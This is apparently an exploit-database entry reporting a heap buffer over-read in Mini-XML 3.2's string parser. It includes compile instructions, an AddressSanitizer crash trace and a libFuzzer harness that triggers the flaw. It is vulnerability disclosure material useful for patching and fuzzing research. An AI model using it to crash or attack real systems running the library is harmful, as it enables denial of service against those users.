# Exploit Title: Mini-XML 3.2 - Heap Overflow # Google Dork: mxml Mini-xml Mini-XML # Date: 2020.10.19 # Exploit Author: LIWEI # Vendor Homepage: https://www.msweet.org/mxml/ # Software Link: https://github.com/michaelrsweet/mxml # Version: v3.2 # Tested on: ubuntu 18.04.2 # 1.- compile the Mini-XML code to a library use compile line"clang -g -O0 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer-no-link". # 2.- compile my testcase and link them to a binary use compile line "clang -g -O0 -fno-omit-frame-pointer -gline-tables-only -fsanitize=address -fsanitize-address-use-after-scope -fsanitize=fuzzer". In my testcase, I use the API "mxmlLoadString" to parse a string. # 3.- run the binary for a short time.crash. because the "mxml_string_getc" didn't versify the string's length and cause buffer-overflow. # 4.- Here are the crash backtrace. ================================================================= ==6265==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000000a73 at pc 0x000000558e2d bp 0x7ffe13e2caa0 sp 0x7ffe13e2ca98 READ of size 1 at 0x612000000a73 thread T0 #0 in mxml_string_getc /opt/mnt/software/mxml32/mxml-file.c:2422:13 #1 in mxml_load_data /opt/mnt/software/mxml32/mxml-file.c:1558:20 #2 in mxmlLoadString /opt/mnt/software/mxml32/mxml-file.c:180:11 #3 in LLVMFuzzerTestOneInput /opt/mnt/software/mxml32/mxml_fuzzer.cpp:12:8 #4 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const*, unsigned long) (/opt/mnt/software/mxml32/a.out+0x42f357) #5 in fuzzer::RunOneTest(fuzzer::Fuzzer*, char const*, unsigned long) (/opt/mnt/software/mxml32/a.out+0x41f7ea) #6 in fuzzer::FuzzerDriver(int*, char***, int (*)(unsigned char const*, unsigned long)) (/opt/mnt/software/mxml32/a.out+0x42a7b0) #7 in main (/opt/mnt/software/mxml32/a.out+0x41d4b2) #8 in __libc_start_main /build/glibc-S9d2JN/glibc-2.27/csu/../csu/libc-start.c:310 #9 in _start (/opt/mnt/software/mxml32/a.out+0x41d529) # 6.- Here are my testcase. #include <string> #include <vector> #include <assert.h> #include "mxml.h" extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) { std::string c(reinterpret_cast<const char *>(data), size); char *ptr; mxml_node_t *tree; tree = mxmlLoadString(NULL, c.c_str(), MXML_NO_CALLBACK); if(tree){ ptr = mxmlSaveAllocString(tree, MXML_NO_CALLBACK); if(!ptr) assert(false); mxmlDelete(tree); } return 0; }